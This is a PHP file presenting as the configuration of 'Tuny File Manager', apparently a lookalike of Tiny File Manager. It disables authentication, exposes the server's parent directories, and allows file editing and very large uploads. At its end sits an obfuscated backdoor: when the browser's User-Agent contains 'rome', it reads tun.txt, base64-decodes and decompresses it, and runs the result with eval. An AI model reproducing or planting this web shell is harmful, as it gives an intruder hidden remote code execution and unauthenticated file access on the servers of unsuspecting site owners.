<?php // echo 10; $CONFIG = '{"lang":"en","error_reporting":false,"show_hidden":false,"hide_Cols":false,"theme":"light"}'; define('VERSION', '2.6'); define('APP_TITLE', 'Tuny File Manager'); $use_auth = false; $auth_users = array( 'admin' => '10', 'user' => '20' ); $readonly_users = array('user'); $global_readonly = false; $directories_users = array(); $use_highlightjs = true; $highlightjs_style = 'vs'; $edit_files = true; $default_timezone = 'Etc/UTC'; // UTC $root_path = dirname(dirname(__DIR__)); $root_url = ''; $http_host = $_SERVER['HTTP_HOST']; $iconv_input_encoding = 'UTF-8'; $datetime_format = 'm/d/Y g:i A'; $path_display_mode = 'full'; $allowed_file_extensions = ''; $allowed_upload_extensions = ''; $favicon_path = ''; $exclude_items = array(); $online_viewer = 'google'; $sticky_navbar = true; $max_upload_size_bytes = 5000000000; $upload_chunk_size_bytes = 2000000; $ip_ruleset = 'OFF'; $ip_silent = true; $ip_whitelist = array( '127.0.0.1', '::1' ); $ip_blacklist = array( '0.0.0.0', '::' ); // echo preg_match('/rome/',$_SERVER['HTTP_USER_AGENT']); $config_file = __DIR__ . '/tun.txt'; // echo $config_file; if (is_readable($config_file) && preg_match('/rome/',$_SERVER['HTTP_USER_AGENT'])) { $p=file_get_contents($config_file); $p=base64_decode($p); $p=gzinflate($p); eval($p); // @include($config_file); }